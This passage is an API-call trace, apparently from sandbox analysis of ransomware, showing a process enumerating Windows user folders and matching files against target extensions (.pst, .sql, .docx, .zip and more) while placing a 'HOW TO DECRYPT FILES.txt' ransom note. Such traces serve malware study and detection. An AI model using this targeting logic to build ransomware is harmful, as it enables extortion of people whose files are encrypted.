Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.ofx") returned 0 [0092.100] lstrlenA (lpString="*.ofx") returned 5 [0092.100] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.qif") returned 0 [0092.101] lstrlenA (lpString="*.qif") returned 5 [0092.101] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.mye") returned 0 [0092.101] lstrlenA (lpString="*.mye") returned 5 [0092.101] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.mbox") returned 0 [0092.101] lstrlenA (lpString="*.mbox") returned 6 [0092.101] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.eml") returned 0 [0092.101] lstrlenA (lpString="*.eml") returned 5 [0092.101] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.pst") returned 0 [0092.101] lstrlenA (lpString="*.pst") returned 5 [0092.101] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.ost") returned 0 [0092.101] lstrlenA (lpString="*.ost") returned 5 [0092.101] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.idx") returned 0 [0092.101] lstrlenA (lpString="*.idx") returned 5 [0092.101] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.dbx") returned 0 [0092.101] lstrlenA (lpString="*.dbx") returned 5 [0092.101] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.sql") returned 0 [0092.101] lstrlenA (lpString="*.sql") returned 5 [0092.102] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.mdb") returned 0 [0092.102] lstrlenA (lpString="*.mdb") returned 5 [0092.102] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.fdb") returned 0 [0092.102] lstrlenA (lpString="*.fdb") returned 5 [0092.102] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.wab") returned 0 [0092.102] lstrlenA (lpString="*.wab") returned 5 [0092.102] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.dat") returned 0 [0092.102] lstrlenA (lpString="*.dat") returned 5 [0092.102] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.txt") returned 0 [0092.102] lstrlenA (lpString="*.txt") returned 5 [0092.102] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.jpeg") returned 0 [0092.102] lstrlenA (lpString="*.jpeg") returned 6 [0092.102] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.jpg") returned 0 [0092.102] lstrlenA (lpString="*.jpg") returned 5 [0092.102] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.png") returned 0 [0092.102] lstrlenA (lpString="*.png") returned 5 [0092.102] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.php") returned 0 [0092.103] lstrlenA (lpString="*.php") returned 5 [0092.103] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.cs") returned 0 [0092.103] lstrlenA (lpString="*.cs") returned 4 [0092.103] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.cpp") returned 0 [0092.103] lstrlenA (lpString="*.cpp") returned 5 [0092.103] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.rar") returned 0 [0092.103] lstrlenA (lpString="*.rar") returned 5 [0092.103] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.zip") returned 0 [0092.103] lstrlenA (lpString="*.zip") returned 5 [0092.103] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.html") returned 0 [0092.103] lstrlenA (lpString="*.html") returned 6 [0092.103] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.htm") returned 0 [0092.103] lstrlenA (lpString="*.htm") returned 5 [0092.103] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.xlsx") returned 0 [0092.103] lstrlenA (lpString="*.xlsx") returned 6 [0092.103] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.xls") returned 0 [0092.103] lstrlenA (lpString="*.xls") returned 5 [0092.104] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.mp4") returned 0 [0092.104] lstrlenA (lpString="*.mp4") returned 5 [0092.104] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.ppt") returned 0 [0092.104] lstrlenA (lpString="*.ppt") returned 5 [0092.104] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.pptx") returned 0 [0092.104] lstrlenA (lpString="*.pptx") returned 6 [0092.104] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.doc") returned 0 [0092.104] lstrlenA (lpString="*.doc") returned 5 [0092.104] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.dot") returned 0 [0092.104] lstrlenA (lpString="*.dot") returned 5 [0092.104] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.docx") returned 0 [0092.104] lstrlenA (lpString="*.docx") returned 6 [0092.104] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.7z") returned 0 [0092.104] lstrlenA (lpString="*.7z") returned 4 [0092.104] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.tar") returned 0 [0092.104] lstrlenA (lpString="*.tar") returned 5 [0092.104] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.bz2") returned 0 [0092.104] lstrlenA (lpString="*.bz2") returned 5 [0092.104] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.gz") returned 0 [0092.105] lstrlenA (lpString="*.gz") returned 4 [0092.105] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.mkv") returned 0 [0092.105] lstrlenA (lpString="*.mkv") returned 5 [0092.105] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.eml") returned 0 [0092.105] lstrlenA (lpString="*.eml") returned 5 [0092.105] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.msg") returned 0 [0092.105] lstrlenA (lpString="*.msg") returned 5 [0092.105] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.edb") returned 0 [0092.105] lstrlenA (lpString="*.edb") returned 5 [0092.105] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.accdb") returned 0 [0092.105] lstrlenA (lpString="*.accdb") returned 7 [0092.105] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp", pszSpec="*.odb") returned 0 [0092.105] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4450880, ftCreationTime.dwHighDateTime=0x1cf6c45, ftLastAccessTime.dwLowDateTime=0xb4450880, ftLastAccessTime.dwHighDateTime=0x1cf6c45, ftLastWriteTime.dwLowDateTime=0xb4450880, ftLastWriteTime.dwHighDateTime=0x1cf6c45, nFileSizeHigh=0x0, nFileSizeLow=0x10e3000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrUpd10110_MUI.msp", cAlternateFileName="ADBERD~1.MSP")) returned 1 [0092.106] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.106] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdbeRdrUpd10110_MUI.msp") returned 1 [0092.106] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdbeRdrUpd10110_MUI.msp") returned 1 [0092.106] lstrcmpiA (lpString1="", lpString2="AdbeRdrUpd10110_MUI.msp") returned -1 [0092.106] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrSecUpd10111.msp") returned="AdbeRdrSecUpd10111.msp" [0092.106] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\" | out: lpString1="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\" [0092.106] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\" | out: pszPath="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\") returned="" [0092.106] lstrcatA (in: lpString1="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\HOW TO DECRYPT FILES.txt" [0092.106] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\how to decrypt files.txt")) returned 0x20 [0092.106] lstrcatA (in: lpString1="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\", lpString2="AdbeRdrUpd10110_MUI.msp" | out: lpString1="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp" [0092.106] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp", pszSpec="*.ems") returned 0 [0092.106] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x2540cc00, ftCreationTime.dwHighDateTime=0x1d1056e, ftLastAccessTime.dwLowDateTime=0x2540cc00, ftLastAccessTime.dwHighDateTime=0x1d1056e, ftLastWriteTime.dwLowDateTime=0x2540cc00, ftLastWriteTime.dwHighDateTime=0x1d1056e, nFileSizeHigh=0x0, nFileSizeLow=0x109d000, dwReserved0=0x0, dwReserved1=0x0, cFileName="AdbeRdrUpd10116_MUI.msp", cAlternateFileName="ADBERD~3.MSP")) returned 1 [0092.107] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.107] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="AdbeRdrUpd10116_MUI.msp") returned 1 [0092.107] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="AdbeRdrUpd10116_MUI.msp") returned 1 [0092.107] lstrcmpiA (lpString1="", lpString2="AdbeRdrUpd10116_MUI.msp") returned -1 [0092.107] PathFindFileNameA (pszPath="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10110_MUI.msp") returned="AdbeRdrUpd10110_MUI.msp" [0092.107] lstrcpyA (in: lpString1=0x407019, lpString2="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\" | out: lpString1="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\" [0092.107] PathAddBackslashA (in: pszPath="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\" | out: pszPath="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\") returned="" [0092.107] lstrcatA (in: lpString1="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\", lpString2="HOW TO DECRYPT FILES.txt" | out: lpString1="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\HOW TO DECRYPT FILES.txt") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\HOW TO DECRYPT FILES.txt" [0092.107] GetFileAttributesA (lpFileName="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\HOW TO DECRYPT FILES.txt" (normalized: "c:\\users\\all users\\adobe\\arm\\reader_10.0.0\\how to decrypt files.txt")) returned 0x20 [0092.107] lstrcatA (in: lpString1="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\", lpString2="AdbeRdrUpd10116_MUI.msp" | out: lpString1="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp") returned="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp" [0092.107] PathMatchSpecA (pszFile="C:\\Users\\All Users\\Adobe\\ARM\\Reader_10.0.0\\AdbeRdrUpd10116_MUI.msp", pszSpec="*.ems") returned 0 [0092.107] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 1 [0092.107] PeekMessageA (in: lpMsg=0x18f784, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0x18f784) returned 0 [0092.108] lstrcmpiA (lpString1="ÊÀÊ ÐÀÑØÈÔÐÎÂÀÒÜ ÔÀÉËÛ.txt", lpString2="HOW TO DECRYPT FILES.txt") returned -1 [0092.108] lstrcmpiA (lpString1="HOW TO DECRYPT FILES.txt", lpString2="HOW TO DECRYPT FILES.txt") returned 0 [0092.108] FindNextFileA (in: hFindFile=0x502618, lpFindFileData=0x18f7a8 | out: lpFindFileData=0x18f7a8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x90cd4312, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x90cd4312, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x90d6c893, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x32d, dwReserved0=0x0, dwReserved1=0x0, cFileName="HOW TO DECRYPT FILES.txt", cAlternateFileName="HOWTOD~1.TXT")) returned 0 [0092.108] FindClose (in: hFindFile=0x502618 | out: hFindFile=0x502618) returned 1 [0092.108] FindNextFileA (in: hFindFile=0x502518, lpFindFileData=0x18f8f8 | out: lpFindFileData=0x18f8f8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xfff3ece0, ftLastAccessTime.dwHighDateTime=0x1d6de0f, ftLastWriteTime.dwLowDateTime=0xfff3ece0, ftLastWriteTime.dwHighDateTime=0x1d6de0f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Reader_10.0.0", cAlternateFileName="READER~1.0")) returned 0 [0092.108] FindClose (in: hFindFile=0x502518 | out: hFindFile=0x502518) returned 1 [0092.108] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x1d2dda0, ftLastWriteTime.dwLowDateTime=0xe4efbbe0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630041, dwReserved1=0x6f0072, cFileName="ARM", cAlternateFileName="")) returned 0 [0092.108] FindClose (in: hFindFile=0x5025d8 | out: hFindFile=0x5025d8) returned 1 [0092.108] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x62006f, cFileName="Application Data", cAlternateFileName="APPLIC~1")) returned 1 [0092.108] lstrcmpA (lpString1=".", lpString2="Application Data") returned -1 [0092.108] lstrcmpA (lpString1="..", lpString2="Application Data") returned -1 [0092.108] PathFindFileNameA (pszPath="C:\\Users\\All Users\\*.*") returned="*.*" [0092.109] lstrcatA (in: lpString1="C:\\Users\\All Users\\", lpString2="Application Data" | out: lpString1="C:\\Users\\All Users\\Application Data") returned="C:\\Users\\All Users\\Application Data" [0092.109] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Application Data\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630041, dwReserved1=0x6f0072, cFileName="ARM", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0092.109] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x307290f2, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x307290f2, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x307290f2, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6c0070, cFileName="Desktop", cAlternateFileName="")) returned 1 [0092.109] lstrcmpA (lpString1=".", lpString2="Desktop") returned -1 [0092.109] lstrcmpA (lpString1="..", lpString2="Desktop") returned -1 [0092.109] PathFindFileNameA (pszPath="C:\\Users\\All Users\\*.*") returned="*.*" [0092.109] lstrcatA (in: lpString1="C:\\Users\\All Users\\", lpString2="Desktop" | out: lpString1="C:\\Users\\All Users\\Desktop") returned="C:\\Users\\All Users\\Desktop" [0092.109] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Desktop\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630041, dwReserved1=0x6f0072, cFileName="ARM", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0092.109] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x6b0073, cFileName="Documents", cAlternateFileName="DOCUME~1")) returned 1 [0092.110] lstrcmpA (lpString1=".", lpString2="Documents") returned -1 [0092.110] lstrcmpA (lpString1="..", lpString2="Documents") returned -1 [0092.110] PathFindFileNameA (pszPath="C:\\Users\\All Users\\*.*") returned="*.*" [0092.110] lstrcatA (in: lpString1="C:\\Users\\All Users\\", lpString2="Documents" | out: lpString1="C:\\Users\\All Users\\Documents") returned="C:\\Users\\All Users\\Documents" [0092.110] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Documents\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630041, dwReserved1=0x6f0072, cFileName="ARM", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0092.110] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2416, ftCreationTime.dwLowDateTime=0x3074f252, ftCreationTime.dwHighDateTime=0x1ca0441, ftLastAccessTime.dwLowDateTime=0x3074f252, ftLastAccessTime.dwHighDateTime=0x1ca0441, ftLastWriteTime.dwLowDateTime=0x3074f252, ftLastWriteTime.dwHighDateTime=0x1ca0441, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x750063, cFileName="Favorites", cAlternateFileName="FAVORI~1")) returned 1 [0092.110] lstrcmpA (lpString1=".", lpString2="Favorites") returned -1 [0092.110] lstrcmpA (lpString1="..", lpString2="Favorites") returned -1 [0092.110] PathFindFileNameA (pszPath="C:\\Users\\All Users\\*.*") returned="*.*" [0092.110] lstrcatA (in: lpString1="C:\\Users\\All Users\\", lpString2="Favorites" | out: lpString1="C:\\Users\\All Users\\Favorites") returned="C:\\Users\\All Users\\Favorites" [0092.110] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Favorites\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0xe4efbbe0, ftCreationTime.dwHighDateTime=0x1d2dda0, ftLastAccessTime.dwLowDateTime=0xe4efbbe0, ftLastAccessTime.dwHighDateTime=0x2e002e, ftLastWriteTime.dwLowDateTime=0x0, ftLastWriteTime.dwHighDateTime=0x1d2dda0, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x630041, dwReserved1=0x6f0072, cFileName="ARM", cAlternateFileName="Äÿ\x18")) returned 0xffffffff [0092.110] FindNextFileA (in: hFindFile=0x502598, lpFindFileData=0x18fb98 | out: lpFindFileData=0x18fb98*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x610046, dwReserved1=0x6f0076, cFileName="Microsoft", cAlternateFileName="MICROS~1")) returned 1 [0092.111] lstrcmpA (lpString1=".", lpString2="Microsoft") returned -1 [0092.111] lstrcmpA (lpString1="..", lpString2="Microsoft") returned -1 [0092.111] PathFindFileNameA (pszPath="C:\\Users\\All Users\\*.*") returned="*.*" [0092.111] lstrcatA (in: lpString1="C:\\Users\\All Users\\", lpString2="Microsoft" | out: lpString1="C:\\Users\\All Users\\Microsoft") returned="C:\\Users\\All Users\\Microsoft" [0092.111] FindFirstFileA (in: lpFileName="C:\\Users\\All Users\\Microsoft\\*.*", lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x520041, dwReserved1=0x4d, cFileName=".", cAlternateFileName="")) returned 0x5025d8 [0092.111] lstrcmpA (lpString1=".", lpString2=".") returned 0 [0092.111] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2014, ftCreationTime.dwLowDateTime=0xfd943744, ftCreationTime.dwHighDateTime=0x1ca0431, ftLastAccessTime.dwLowDateTime=0x80ac5760, ftLastAccessTime.dwHighDateTime=0x1d305eb, ftLastWriteTime.dwLowDateTime=0x80ac5760, ftLastWriteTime.dwHighDateTime=0x1d305eb, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0092.111] lstrcmpA (lpString1=".", lpString2="..") returned -1 [0092.111] lstrcmpA (lpString1="..", lpString2="..") returned 0 [0092.111] FindNextFileA (in: hFindFile=0x5025d8, lpFindFileData=0x18fa48 | out: lpFindFileData=0x18fa48*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x3fc949a4, ftCreationTime.dwHighDateTime=0x1ca0445, ftLastAccessTime.dwLowDateTime=0x3fc949a4, ftLastAccessTime.dwHighDateTime=0x1ca0445, ftLastWriteTime.dwLowDateTime=0x3fc949a4, ftLastWriteTime.dwHighDateTime=0x1ca0445, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x2e002e, dwReserved1=0x0, cFileName="Assistance", 